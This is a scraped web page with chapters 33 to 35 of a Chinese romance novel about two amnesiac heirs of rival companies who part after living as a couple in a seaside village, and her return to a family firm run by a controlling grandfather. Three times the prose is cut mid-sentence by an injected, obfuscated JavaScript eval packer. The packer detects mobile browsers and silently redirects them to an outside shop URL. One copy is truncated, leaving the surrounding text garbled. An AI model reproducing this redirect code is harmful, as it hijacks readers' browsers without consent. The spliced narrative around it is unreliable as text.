反而身体一提及爷爷,她就会不自觉的紧绷,甚至于满脑子充斥着那句“不能让爷爷失望”。 如果那会不是傅淮湛一直提及,她不停受刺激,她就不会…… 傅珺瑶猛地一激灵。 她不该想了。 意识到思绪飘远,她及时回神,又接着往下翻。 主要是集团的简介,还有一部分她的个人简介。 傅珺瑶,恒璟集团新任总经理,1998年12月10日出生于淮北市,2024年毕业于淮北大学,曾于2023年出国交换一年,取得MBA学位。本科、硕研期间曾担任恒璟集团项目经理职务,成功主导多个高品质住宅的全程开发与交付…… 一点一点看完自己的信息,心底倒是没掀起多少波澜,除了不符合预期的穿衣风格,其他都跟预想中的没差多少。 差不多翻完,她想退出再看看能不能找到点其他信息,手指却突然僵在了尾页的相关搜索。 恒璟与启行腥风血雨的二十年。 启行…… 她是不想看的,可手指却不听使唤,鬼使神差地点了进去。 最先抢夺眼球的,便是那张熟悉的脸庞。 那颗黑色耳钉也依然是最显眼的存在。 有关于他的介绍也就在旁侧。 沈述白,启行集团CEO,1998年11月19日出生于淮北市,2024年毕业于淮北大学,取得工学硕士学位…… 简短的介绍之后,就是关于恒璟和启行的恩怨。 正如傅淮湛说的那样,新闻里的报道也大差不差,甚至于她和他的‘大打出手’也被全面报道。 唇边漫出声轻嗤。 目光扫过那几行添油加醋的文字。 不过是掐了掐下巴,戳了戳胸口,也能称得上大打出手? 现在的新闻越来越会抓眼球了。 倒不如报道这人是个穿衣古板的闷骚怪有噱头。 下面的文字在眼底已经形如乱码,她根本没兴趣读下去。 然而她始终没有退出页面。 心头的空虚感仍在,情绪也在经历过过山车般的大起大落之后彻底陷入谷底。 两只手突然开始发颤。 眼前的画面也跟着动荡,文字很晃眼。 脑海中骤然窜入他的那张脸。 他松开她,往后退了两步,眼底充斥着大片绝望和不可置信。 她想到自己最后说的那两个字。 恶心。 呼吸悄然慢了下来。 他…… “咚咚咚”的一阵敲门声陡然打断她的思绪,她迅速关了手机,应了门口声“进”。 是母亲。 “珺珺,这个是林医生给你备的中药,吴阿姨刚刚煮好,快喝了吧。” 熟悉的深褐色药液还在冒热气。 傅珺瑶很快起身接了下来:“妈,这种小事我自己下楼就好了。” 李茗蕤顺势跟着她走到桌前,在她床边坐下,要等着她把药喝完。 “妈妈是心疼你,当时明明才一起吃过饭的女儿,第二天就没了音讯,当时警察和淮淮都说找不到你,我真的快吓死了,我以为我要失去你了……” 李茗蕤未干的泪眼再次湿润,声音也跟着哽咽。 “没事了妈,我不是都回来了吗,您别担心了。”傅珺瑶心底很轻易被女人触动,相比于和爷爷之间的谨慎,和妈妈之间,她是完全放松下来的,连空虚感都被扫荡不少。 手掌在女人的肩背上轻拍,她又半揽住她,拉近和她的距离,抽了张纸帮她擦干眼泪。 李茗蕤接过她手里的纸,迅速扫荡了脸上的泪光,吸了吸鼻子,笑着点头:“是,是!我的女儿平安回来就好,回来就好,就算失去了记忆,也没关系,你永远都是妈妈的女儿。” 女人温暖的怀抱裹入胸腹,傅珺瑶微微愣住。 “不记得也没关系。” “你是我的妻子,我是你的丈夫。” 她暗暗合紧牙关,舌尖的刺痛推掉了闯进脑海的声音。 这个怀抱并没有持续很久,女人主动后退,说:“快喝药吧,一会儿该凉了。” 傅珺瑶瞥了眼空荡的怀抱,嗯了声。 转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015921|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,往嘴里送药。 然而嘴唇刚碰到浓苦的药液,眉头又忍不住皱紧。 好苦。 “很苦是吧?我特地给你拿了几块糖果,橘子味的。”李茗蕤把糖果包装撕开递给她。 “谢谢妈。” 橘子味的甜味在舌尖化开,傅珺瑶屏着气,一口闷完了药。 很不适应。 浓烈的苦味故意使坏,紧紧地黏在食道上,余涩不停往喉间返。 好难受。 “妈,家里有没有蜜饯什么的?”傅珺瑶问。 李茗蕤沉吟,两只眸子转了转:“没有蜜饯,是这糖不管用吗?” “想吃蜜饯?那我出去买。”门口突然闯进一道声音。 是傅臣北。 李茗蕤点头:“对啊珺珺,你还想吃什么?” 傅珺瑶摇头,两手迅速摆了摆:“不用,没有就算了,我也没有特别想吃,这糖就够了。” 傅臣北进了房间,走到李茗蕤身边坐下。 一双还算沉静的眸子始终离不开女儿:“珺珺,你好不容易才回家,有什么需要的尽管提,妈妈和爸爸都会满足你。还有集团的事情,你也别太紧着自己,要先休息好,我已经跟你爷爷商量过,一切以你的意愿为重。” 男人的眉眼慢慢被话语浸透,看向她的眼神愈发温柔。 傅珺瑶感觉心间似有一股暖流淌过。 她扯唇,嘴边弯起弧度,然后点头:“好,谢谢爸爸。” 两人不想耽误傅珺瑶休息,没在她的房间停留很久。 傅珺瑶洗漱完,躺回陌生的床上,半点困意都没有。 她侧头,一手抄过被她取下来的竹音哨。 这个定制的竹音哨到底从何而来? 这个答案对他们来说……又到底重不重要? 或许不重要吧,反正不管怎样,他们都是人尽皆知的仇人。 仇人…… 傅珺瑶嗤笑。 那个时候…她居然还在庆幸他们不是仇人,居然单纯地认为他们幸运的。 现在看来,全都是荒唐的笑话。 那个梦是笑话,名义的夫妻是笑话,恩爱的情侣是笑话,江云和江阔这两个名字更是笑话! 好不容易压下去的中药苦味又开始作祟,强势地占据了整个口腔。 傅珺瑶捏紧了竹音哨,拇指紧紧按在字母上,眉心挤出了几道皱褶。 他……应该没什么事吧? 傅淮湛能找到她,那他的家人…应该也能找到他吧? 不、不对。 他有没有事,都跟她无关。 他们是仇人,是爷爷绝对不会松口的仇人。 她是傅珺瑶,她和他是仇人,只是仇人。 那段时间再荒唐不过,结束了她就不该再去想,反正萍姐和江晴那边傅淮湛都已经安排好,她不该再有任何顾虑的。 不关她的事、不关她的事…… 傅珺瑶甩开竹音哨,关了灯,闷头躲进被子里。 她要睡觉,她要睡觉。 闭上眼,耳边没有翻滚的海浪,再静谧不过,鼻息间也没有淡淡的海咸味,只有隐隐飘来的香薰。 颈后…… 傅珺瑶猛地睁眼打断思绪,强制自己不再往下想。 又给自己暗示:她只是需要时间改变,也需要时间适应这个环境,她没有依赖那些东西,那些都只是荒唐的过去,她是傅珺瑶,是恒璟集团的总经理,她不能让爷爷失望。 她实在是睡不着。 只好从昏暗中捞过手机,微弱的光有些刺眼。 然而屏幕亮起,她却呆呆地盯着,也不知道要做什么。 心脏莫名乱了节奏,在胸腔里失控般“突突”地跳动。 她连着做吞咽动作,喉间却愈发干涩,呼吸频率也跟着加快。 最后,两只手又开始不受大脑控制,点进浏览器。 等她反应过来时,页面停留在启行集团官方网站页的【联系我们】处。 不……这跟她没关系。 他怎样都跟她没关系。 “我爱你啊云云……” 他们没关系…… “云云!我求求你别走!” 不…… 她不该管他。 她不应该管他! …… 沈述白是被噩梦惊醒。 梦里,江云被那个男人带走,他们被那辆黑车的玻璃隔绝。 无论他怎么拍打、怎么呼喊,被困在里面的江云都听不到。 “云云!云云你听得到吗云云!云云我是江阔啊云云,你不是说好要一辈子做我老婆吗?” “云云!云云!” 他的手已经拍到没了知觉,双腿也早已站麻,可他就是等不到回应。 他只好用力去扒车门。 可就在他刚碰到门把手的那一刻,车突然飞速开走,他都没来得及使力,眼前就只剩两缕白色尾气。 “云云!云云!” 他猛地睁开眼,喊出了声。 “你终于醒了?”一道并不算熟悉的男声同时响起。 沈述白还没回神。 模糊的视线慢慢聚焦,他还在熟悉的房间里,可周遭…根本没有江云的影子。 只有一个他见过的男人。 坐在床沿的男人起身,“醒了就好,听说你失忆了,还记得我么?” 33. 05 沈述白没有很快回答,脑海中很快回忆起最后的画面。 噩梦余留的惊恐褪去,心脏却狠狠缩起,沉闷的钝痛蔓延,留下大片大片的绝望。 她走了。 她真的走了。 “喂,你这昏迷了一次不会又失忆了吧?”男人凑上前,两只眸子飞快转动,在他脸上扫了一圈又一圈。 “我知道,你是我的双胞胎哥哥,沈行之。” 男人又重新站直,挑着眉道:“你知道?是想起来了?” 沈述白垂着眸,两手搭在大腿攥紧。 声音闷闷的:“没有,我只在手机里看了些消息。” 她真的丢下他了。 她甚至觉得他恶心。 “行,那我不赘述了,感觉怎么样?跟我回去?” 沈述白掀开身上的薄毯,暂时没回答他的问题,反问:“我昏迷多久了?” 沈行之不急不缓地走到房间的圆桌边,一手悠闲地撑起下巴:“两天,你腰上的伤口一直流血,是这村里的老中医来给你治的,我昨天早上到的,在这守了你一天一夜。” “你怎么找到我的?”沈述白又问。 沈行之换了个姿势,话语在嘴边停了很久。 “怎么?”沈述白看不懂他的犹豫。 沈行之的视线停在他身上,又等了几秒钟,才坐直身子,道:“集团的公关部收到一封匿名邮件,说你在这里,所以我连夜赶来的。” 匿名邮件? 他终于明白沈行之的停顿—— 知道他在哪的人,就那么两个。 傅珺瑶……和傅淮湛。 所以是她? 沈述白眸中闪过一丝光芒,不过瞬间,便暗淡下去。 是她又怎样呢?或许这是她最后给他的一丝施舍而已。 她都那样说他了。 “你明知道我们的关系是错的,非但不说穿,反而继续伪装下去,你明知道我和你有仇,还腆着脸一次又一次和我有亲密接触,你是非不分,就是恶心!” 她现在…肯定特别恨他。 伪装、腆着脸、是非不分、恶心…… 这就是她对他所有的评价了。 沈述白的眸子愈发暗淡,视线回避沈行之,盯着脚边熟悉的拖鞋,不知道在想些什么。 “我听说…你在这还有个老婆。”沈行之突然开口。 沈述白猛地一僵,耳膜被海浪用力拍打,震出片刻的轰鸣。 “你和她同时失去了记忆,在这个小荒村相依为命,每天在这个远离闹市的海滩边谈情说爱,迎着海风,伴着暖阳。” 沈行之一字一句往下,目光始终停在他身上。 他继续:“你们还有一对很浪漫的名字,你叫江阔,她叫江云。” 沈述白攥紧了身侧的手,床单轻易被他捏出褶皱。 “不过最后么……江阔变成了沈述白,而江云…变成了傅珺瑶。” 说到最后一句话时,沈行之刻意停顿两秒,沈述白的手攥得更紧,头也一低再低。 “老弟,你知道你在干什么吗?!”短暂的安静过后,圆木桌被狠狠拍响,加剧了海浪的威力,再次朝着耳膜进攻。 沈述白低头不语,腮帮子都鼓了出来,黑色耳钉刻意躲避照进来的阳光,隐隐泛冷。 “隐瞒、哀求、追车、把自己弄到失血昏迷,沈述白,你倒是个深情种!连爱上仇人的这种戏码也搬到自己身上来了?!” 沈述白还是低着头。 他无法去看他。 只想起那天在饭馆里,江醇差点跪下来。 “我只是想跟她在一起,我到底有什么错?” 那个时候他还不理解。 甚至自以为是地认为那是没办法的事,爱情是值得追求,但爱情不能凌驾于道德和底线。 觉得他们之间有仇恨,理应清醒抽身,不应该继续纠缠下去。 然而事情换了角度他才明白,是鞭子没有打在他身上,他根本感受不到痛,自然也无法感同身受。 此时此刻他也很想当着他亲哥哥的面问一句:“我只是想跟她在一起,我到底有什么错?” 可这个问题,她已经给过他答案了。 是非不分,就是错。 房间里安静了很久。 沈行之等不到他的回应,声音里也带了几分怒气上来:“我提醒你,我们的姑姑是因为他们傅家死的!如果不是傅珺瑶她大伯那个伪君子,姑姑根本就不会英年早逝!” “你给我想清楚了,你在这里爱上她,我可以当作是你们失忆之后的一时荒唐,但跟我回去之后,你就必须得忘掉她,必须做回以前那个讨厌她讨厌到极致的沈述白!” 沈述白扯了扯唇,不由地想笑。 又是荒唐。 又是荒唐。 他们任何一个人都能随意地否定掉这段他真实度过、真实付出感情的日子。 “萍姐和江晴那边,你安顿过了吗?”沈述白滚了滚喉结,没有接话,直接问。 他听见沈行之慢慢吐了口气。 语气也跟着松懈不少:“五万块的补偿和五万块的礼金,满意吗?” 沈述白点了点头,起身,也没看他,径直走到衣柜边,眼瞳轻轻一缩。 那两套西服还在,她的没带走。 还有那两套…订婚伴郎伴娘的礼服。 也好,就当给他…留个念想。 “你还有没有哪不舒服?先去医院还是订机票?” “订机票吧。” 话音刚落,沈行之一个电话打了出去,很快安排好一切。 沈述白把四套衣服全都叠好放在桌上,问他:“你带行李箱了吗?” “在那。”沈行之指向墙角。 沈述白点头,暂时没拿,转身面朝床边。 心口微微刺痛。 “你上来陪我睡。” “我还想听曲。” “就抱抱你。” “你永远都是我老公,我永远都是你老婆!” “只要你不想失去我,你就永远不会失去我!” 骗子…… 四套衣服继续往上叠,等他收完最后一件,沈行之走过来:“你这是什么意思?带她的衣服走?” 语气明显不满。 沈述白不紧不慢地理了理褶皱的布料,两只手放在衣服上舍不得移开,慢吞吞开口:“哥。” 沈行之站在那看着他,抿起了唇。 “我们关系应该很好吧?” 沈行之眨了眨眸,轻嗤道:“废话!双胞胎的亲兄弟,关系能不好么?” “那你应该了解我。”他平静说。 沈行之语噎,眸光闪了闪。 “我隐瞒家里,是我不对。修好手机的那一天,我根本没想到事情会是那样,也确实…不想跟她分开,甚至…不想做回沈述白。” 短短的两句话,在喉间卡壳好几次,完全没能连贯。 他又猛地往下做吞咽动作,然后转眸,深褐色的眸中隐隐浮着泪光:“可谎言注定是没办法长久的,不过两天,谎言就被戳破,她也不要我了,甚至因为我骗了她,她已经恨透我了,觉得我恶心。” “但是我的感情已经付出去了,虽然这个结局被失望和仇恨浇透,但至少,这是能见证这段日子的最后一点物件。” 他说完,一直到他收完所有东西,又捏着那两个装满沙砾和海水的玻璃瓶呆愣许久,动作僵硬地放进行李箱隔层,最后把床头柜剩下的那半罐蜜饯也装好,沈行之都没有再说一个字。 萍姐和江晴进来了。 两人的脸色也没有太好,几句关切之后,也说不出什么话来。 萍姐甚至愧疚,毕竟当初是她先入为主。 沈述白摇头,不打算多说。他又问江晴:“尤克里里…我能买下来带走吗?” 江晴摆手:“你直接拿走就好了,这本来就是我打算送给你们的。” 说完,江晴意识到自己的话有些不对,想要找补,沈述白干脆扯唇:“谢谢。” 江晴叹了口气,视线几番挪移,最后只说了句:“江阔,一切都会好起来的。” 沈述白捏着手中的尤克里里,最后只笑了笑。 收拾好行李,他跟着沈行之离开,萍姐和江晴送他们到门口。 “江阔,好好保重身体,别想那么多。”这是萍姐对他最后的叮嘱。 他最后看了眼这里。 惬意翻滚的海浪、洒满碎钻的波纹、轻微的海咸味、金黄的阳光和沙砾。 这里留下了江云和江阔。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028726|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可惜以后,他们是傅珺瑶和沈述白。 虚浮的脚步慢慢跨过青石板,蓦地,脚边蹿出声软哼。 沈述白猛地停下来,在看到脚边毛茸茸的小白球时,眼角骤酸,连手里的东西都掉了下去。 他把白白抱了起来。 小狗像是知道他要走似的,两只肉爪拼命抓住他,生怕从他怀里消失。 “这狗怎么还缠上你了?”沈行之自然不认识这狗,满腹疑惑问。 沈述白把它抱紧:“不是它缠着我,是我要带它走。” “带它走?它都上不了飞机!”沈行之似乎是觉得他的行为太荒谬,语气都跟着着急。 “那就开车回去好了,当初说好在离开的时候带它走,这是我对它的承诺。” “你……” “哥,”沈行之反驳前,沈述白先打断了:“求你,答应我这次。” “……” 最后沈行之退了机票,专门租了辆保姆车,找了专车司机,直接从洱南开车回了淮北。 …… 傅珺瑶回家的第三天,实在是受不了夜不能眠的作息,也顾不上背后那点小伤,主动让傅淮湛带她回去上班。 从风格相差无几的衣柜里好不容易挑了套看上去没那么严肃的橙色长裙,腰间搭了条珍珠链,长发简单梳理,披在肩头,脸上铺了层气垫,找不到浅色口红,她干脆就涂了唇膏。 上车前,傅淮湛凝了眼她这身:“换风格了?一点都不像你。” 傅珺瑶系好安全带,语气平淡:“不好看吗?” 傅淮湛嘴边溢出声笑,轻哼:“不是不好看,只不过爷爷不是说了,工作的时候就该严肃一点,那才是工作该有的样子,也方便树立威严。” 傅珺瑶垂在大腿的手紧了紧。 该有的样子…… “不过也无所谓了,珺珺,这周我带你熟悉过后,我就照例出来了。” “出来?”傅珺瑶没懂。 傅淮湛唇边的弧度更深,但又刻意往回收了收。 他说:“对,在你失忆之前,我就不在恒璟了,那里…你比我更合适。” 傅珺瑶收回目光,嘴唇抿起,没说话。 傅淮湛先带她去的办公室。 “这是你的秘书,小聂。” “傅总!”聂秘书轻轻颔首,脸上喜色难挡。 傅珺瑶点了点头:“你好。” 傅淮湛说她的日常工作聂秘书基本都知道,每天的日程安排聂秘书也安排得很仔细。 傅珺瑶大致看过,虽说没什么记忆点,但落在纸上的一条条安排她还是能看懂,的确是最高效、最合理的。 “怎么样,有没有什么疑问?”傅淮湛等在一边。 傅珺瑶摇头,说暂时没有。 然后继续拿起另一份文件,稍稍一愣—— 《悦霁天地项目安防系统建设合同》 “这是什么?”傅珺瑶翻过文件朝向傅淮湛问。 “悦霁天地是你失忆前不久策划的新楼盘项目,主要面向单身人群,这个方案是我前不久完善的,保险起见,我还是选了苏氏合作。” 苏氏是几乎和启行同一时间发展起来的科技公司,虽然实力略逊于启行,但口碑也是业内前列,也是恒璟合作的首选。 不过去年苏氏出了点意外,和某餐饮店合作后,系统出现明显bug,造成十几家连锁店失窃,甚至险些间接造成食物中毒事件。 傅珺瑶再往后翻,已经签过字,盖过章,也按了手印。 她轻瞥一眼傅淮湛。 既然二十多年前和启行合作有过前车之鉴,现在还选择这种出过失盗事件的系统,他的心也挺大。 更何况面对单身人群销售,安防要求就该更高吧? “苏氏已经是所有方案中的最优选。”傅淮湛似是看出她的迟疑,解释:“之前下面的人的确给过你启行当备选,可让我们跟启行合作是绝对不可能的,爷爷是董事长,他绝对不会同意。” 傅珺瑶关上了文件,没什么表情变化。 “珺珺,尤其是你还跟沈述白……” “傅总,董事长到了。” 傅淮湛的声音被聂秘书打断,傅珺瑶缩紧的瞳孔微微放松,起了身。 那位威严的老人就在眼前。 34. 06 “爷爷。”傅淮湛先开的口。 傅珺瑶跟着叫了声,背手而立。 傅老爷子身着灰色中山装,哪怕身子骨已经年迈,整个人却依旧笔直挺立,也坚持不拄拐。 熟悉的严肃和强势仅仅是透过衣衫便已经压得傅珺瑶有些喘不过气。 他看都没看一眼傅淮湛,直接朝傅珺瑶走近,视线在她身上打量一圈:“珺珺,还习惯吗?” 傅珺瑶尽量不跟那双眸子对视,谨慎地点了点头:“习惯。” 老爷子满意笑笑,傅珺瑶身后的手却不自觉收紧。 耳边又是那几句熟悉的话:“很好,我说过,失不失忆,你都不会让我失望!” 指甲嵌入了掌心,傅珺瑶下意识点头。 “我不打扰你工作了,有什么事,直接交代你哥!” 傅珺瑶顺着应和,身后的人也不做声。 老爷子转身打算离开,可两只脚刚迈出去,又慢吞吞地退了回来,暗灰色的眸子重新落定在她的长裙。 傅珺瑶目光跟着移动,大脑意识到什么。 老爷子的话很快响起:“珺珺,既然是来工作,就应该有个工作的样子,西装才是最得体的。” 掌心已经被自己掐痛,心口跟着堵闷。 这种感觉很不舒服。 她不喜欢。 “还有,”老爷子继续:“头发也不要披散,干净地扎起来才像样,再是你的脸,爷爷以前跟你说过,靠脸撑起来的震慑力,也是树立威严的一部分。” “你回去多看看以前的照片,等明天再来上班,我希望看到的还是以前的那个珺珺。” 明明脑子里瞬间涌出了一大堆反驳的话,可话经辗转,到了嘴边,又变成了顺应。 “我知道了,董事长。” 说完,傅珺瑶感觉思绪都出走了两秒。 手心的痛感更明显,她甚至没办法主动收手。 老爷子终于彻底满意,离开了她的办公室。 兄妹俩连带着聂秘书都松了口气。 “终于走了,傅总,今天是咖啡还是老样子?”聂秘书拍了拍胸脯问。 傅珺瑶手上终于解脱,指腹轻缓安慰着被自己蹂躏过的掌心。 她不记得:“老样子?” 聂秘书也后知后觉,解释:“您之前也喜欢喝鲜牛乳奶茶,有绿茶、红茶、乌龙茶,周一周三兑绿茶,周二周四红茶,周五乌龙茶,偶尔喝咖啡。” “那就红茶吧。” 这才像她。 “给我哥也来一杯。” “我就不喝了,我先走了,你有事直接call我。” “……”傅淮湛脚下生了风,似乎半刻都不愿意在这里多待。 傅珺瑶一脚勾过来凳子,稳稳当当坐了上去,两条腿稍微使力滑到桌前。 “傅总,您的拖鞋要重新拿出来吗?我一直放在休息室的。”聂秘书指了指另一侧紧闭的门。 傅珺瑶收回盯着傅淮湛背影的目光,眸中闪出些困惑。 “拖鞋?” 聂秘书点头,刻意压低了声音。 她说之前她的办公桌底下都会备一双拖鞋,因为她不喜欢穿高跟鞋。 不过董事长对她要求严格,她只能在回办公室之后才能解放会双脚。 傅珺瑶挑眉,睨了眼脚上的细高跟,又抬眸:“好啊,你帮我拿过来吧。” “好!” 要求严格。 回办公室才能解放。 压在傅珺瑶心口的那团憋屈的气雾越来越浓。 所以这具身体下意识的那些反应,都是她从前被约束久了自然形成的么? 失忆前的她,分明不是鲜活多变的。 她的身上,被套上了那副名为‘爷爷’的枷锁。 而且这副枷锁,原本应该不完全属于她才对。 傅珺瑶眯了眯眼,沉了口气。 她重新拿起刚刚那份文件。 《悦霁天地项目安防系统建设合同》。 直接翻到违约金那一页,瞳孔微缩。 这数目也不小。 聂秘书端着红茶过来,又把舒适的平底拖鞋放在她的办公桌下。 看到她手里的文件,聂秘书主动道:“傅总,这份文件是傅先生在您失踪期间签署的,启行那边…还是没能谈下来。” “没能谈下来?”傅珺瑶捕捉到秘书话里的关键信息:“意思是有跟那边谈过吗?” 聂秘书小鸡啄米般点着头。 说:“您之前还主动去启行找沈总呢,不过没能跟沈总聊上就……” 傅珺瑶一把拍下手里的文件,坐直身子:“我?主动去启行?找哪个沈总?” 聂秘书微张开唇,双眸滞后地眨了两下:“沈…沈述白沈总,您就说他会主动来找您,就没下文了……” “他主动来找我?为什么?!”傅珺瑶心底的困惑更重。 她的声音抬高了几分,聂秘书的回答也跟着磕磕巴巴:“这、这个我也不知道,您因为安防系统的事去了趟启行之后,就说沈总会主动找您,其他的也没交代我……” 傅珺瑶眉头拧紧,身子又松懈下去。 “不过其实就算能和启行谈下来,董事长那边也是肯定不会同意的,说不定还会对您更严格。” 傅珺瑶没说话了。 聂秘书和傅淮湛,都是这样肯定的语气。 绝对不可能。 肯定不会同意。 就跟那个时候…… “一定不会是痛苦的结局。” “那一定是段美好又浪漫的过去。” 真不是件好事。 傅珺瑶险些出了神。 她及时掐紧那块被她折磨过好几次的可怜掌肉,让聂秘书先回了工位。 不过她的心思也没在工作上。 那份文件被她扔在一边,左手习惯性地掏了手机出来。 四四方方的屏幕边框都有明显被刮花的痕迹,傅淮湛本来给了她一部新手机,被她以‘觉得麻烦不想换’的理由推脱掉了。 她目标明确,毫不犹豫地点开时事新闻,漆黑凌厉的眸子迅速扫过几十条热点。 都没有。 怎么还是没有? 她回家的第二天,傅淮湛就已经迫不及待地宣告失踪的她已经被找回来了。 这都第几天了? 是邮件的标题不够醒目? 她又火急火燎地退出去翻邮箱,“已读”的角标清晰撞进眼底。 她松了口气,抿了口鲜甜的奶茶。 然而不少片刻,眉头蹙得更紧。 那为什么还没有新闻? 那个二愣子…不会出了什么事吧? 她那天故意弄他的伤不会弄过头了? 他不会失血过多然后…… “嘭——” 手里的杯子惨遭不测,被她猛地拍下,殃及无辜的奶茶,溅在了干净的办公桌上。 眼前的湿黏及时拉回她乱飞的思绪,傅珺瑶关了手机,迅速抽了两张纸,默默收拾着脏污。 她想那么多做什么? 他出了什么事,也跟她没关系。 她没资格管他,更不应该管他。 手机彻底被晾在一边,文件重新回了手上。 定金于X月X日前到账,中间款项于系统安装过半期间交付,尾款于系统检测无误后交付。 傅珺瑶又在那一堆文件里翻找,很快找到悦霁天地的楼盘销售方案。 刨除各项成本,再算进违约金,净利润实在是没眼看。 可她实在是不想赌这一把。 聂秘书都说了,这是她专门提出来的销售方案,还说她是想做一个新型的、与市场稍微有异的小区,如果后面系统万一又出了bug,所谓创新的路恐怕就更难走了。 傅珺瑶抬眼,看到摆在桌上的相框。 那里头,是素面朝天、穿着轻逸的她,笑得无拘无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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男人明显意外,但两只手很快合紧,重重点头:“明白!” 男人的语气之强烈,堪比临战前签署了军令状的头目宣誓。 傅珺瑶扯了扯唇。 项目经理出去之后,傅珺瑶又重新熟悉过聂秘书送进来的项目方案和财务报表。 时间流逝得飞快,傅珺瑶看得双眼微微发酸。 刚想叫聂秘书给她送杯咖啡进来,人已经比她的电话快了一步。 “傅总,您今天中午要不要吃您之前的老样子?” 傅珺瑶中午的餐食一般都是聂秘书订的。 她也没问老样子里有什么,点头:“再帮我泡杯咖啡。” 聂秘书应好,不过在出去之前,又被她叫住。 “你多订一份餐食,中午过来跟我一起吃饭,有事问你。” 聂秘书倒也不抗拒,眼珠子转了转,再次点头。 二十分钟后。 傅珺瑶随意地穿着拖鞋,直接坐在茶几边的地毯。 面前是醇香的拿铁,还有简单的几个菜。 味道还行,但有些难提起傅珺瑶品鉴的兴致。 “怎么了傅总,今天的饭不好吃吗?”聂秘书看出她的兴致缺缺。 傅珺瑶摇头。 聂秘书又追问:“您可能是吃腻了,明天我换一家,您有什么特别想吃的菜吗?” 她主动问了,也勾起了傅珺瑶的味蕾回忆。 傅珺瑶咽下清淡的蔬菜,左手抬上来挠了挠耳侧,一句话在嘴里绕过几圈,才说出来:“百香果酸汤牛肉。” “百香果酸汤牛肉?”聂秘书重复,明显觉得生疏。 傅珺瑶嗯了声,又补充:“应该不太好找,能找到就订,找不到就算了。” “好,我记下了。” 傅珺瑶又低下头去扒了几口饭。 午餐快吃完,聂秘书还没等到傅珺瑶的问题,有些耐不住性子,主动提及。 傅珺瑶这才想起来正事。 开口前暗暗腹诽:都怪这几天没睡好。 “也不是什么大事,就是想了解一下我失忆之前在员工面前是怎样的形象,好像除了你,大家都很怕我?” 35. 07 话音刚落,聂秘书嘴里的饭急速下咽,最后噎在食道,引起剧烈的呛咳。 傅珺瑶把水推给她,示意她不用着急。 聂秘书捂着唇,眼角咳出泪,瞳孔明显缩了缩。 她挪动身子,靠近傅珺瑶,说:“因为这是咱们集团的风气,董事长他老人家这么多年都是这个管理模式。” “风气?”傅珺瑶蹙眉,放下手里的筷子,专心听她说。 聂秘书连连点头。 说傅老爷子性格古板、强势,做什么都必须得合他的意。 对傅珺瑶更是严厉,基本上傅珺瑶的任何行为他都要过问,虽然常常嘴上说着不干涉她,但也总在无形中给她施加压力。 傅珺瑶失忆之前她听傅珺瑶说过几次,说老爷子是因为大儿子去世,集团里面他几乎是独当一面,所以他极度想立住自己的威严,握紧手中的权力。 提及大儿子去世,傅珺瑶又不自觉抿唇。 话也不再追问。 不过聂秘书自觉往下继续说:“他对您抱有很大的期待,也是奔着把您培养成下一个董事长去的,所以您身上自然有着董事长的影子,再加上您之前总是风格单一的西装,再配上红唇,员工们光是看着都发怵。” “而且我其实也有一点怕您的,只是知道了您的一些小秘密,所以没有那么怵而已。” 聂秘书说到最后时,摸着头对傅珺瑶干笑了两声。 “你?怕我?”单就这一上午的接触下来,傅珺瑶完全没看出来。 她如果真怕她,还会愿意跟她一起吃饭? 聂秘书似是看出她抱着怀疑态度,很快澄清,手里的筷子都被她撇在一边。 “是啊,当初我刚跟着您的时候,因为我安排行程时间出了点纰漏,您直接扣了我五百块呢!还把我训得狗血淋头呢。” 傅珺瑶笑出了声:“本职工作没做好扣工资不是很合理?狗血淋头?我有那么凶吗?” 聂秘书如捣蒜般地点头:“有啊有啊!您之前几乎跟董事长如出一辙,说话都不留情面的,而且我之前也不了解您,还以为那一次教训之后就要被开除了。” 跟董事长如出一辙、不留情面。 傅珺瑶默默重复。 挂在她个人简介的照片的确也给她这样的感觉。 所以失忆之前,她是这样压抑自己,然后成为那位充满着‘威严’的董事长期望中的样子吗? 她喜欢的一切,只会在他们看不到的角落才会现形? 那现在呢? 她是要继续压抑,还是改变现状? 傅珺瑶兀自扯唇,扬起极浅的弧度。 如何改变? 除了她自己和聂秘书,有人知道真正的她吗?有人允许、有人支持她做真正的她吗? 她能战胜那道能够左右她行为的声音吗? 傅珺瑶抱着双膝,眼前的饭菜慢慢在视线中失焦。 耳边的话还在继续:“不过傅总,您失忆之后,好像变亲和了不少,是失踪这一个多月有经历了特别的事吗?” 眸光转移,眼神聚焦后,聂秘书的面容扎进眼底。 与此同时,还有另一张面庞跟着闯进脑海。 傅珺瑶两手交叠,左手扣紧手背的力度加重,她摇头:“没有,没什么特别的。” “好了,我问完了,赶紧吃饭吧。” 傅珺瑶重新拿起筷子,拦截了后面可能延伸出来的所有话题。 …… 吃完饭,聂秘书收拾完了桌上,准备出去休息。 傅珺瑶又突然想起来什么,叫住她:“你对乐器了解的多吗?” “还好,傅总您有什么需求吗?” 傅珺瑶捏着手机,四个角在指尖来来回回地转。 她沉吟许久,唇肉也被她咬得微微发疼,那话才勉强从嘴里吐出来。 声音却跟隔了泡沫箱似的,小到聂秘书险些听不见。 “就是你知不知道哪种尤克里里弹出的曲子最柔和?有现成的音频最好,能弹出天空之城就更好了!” 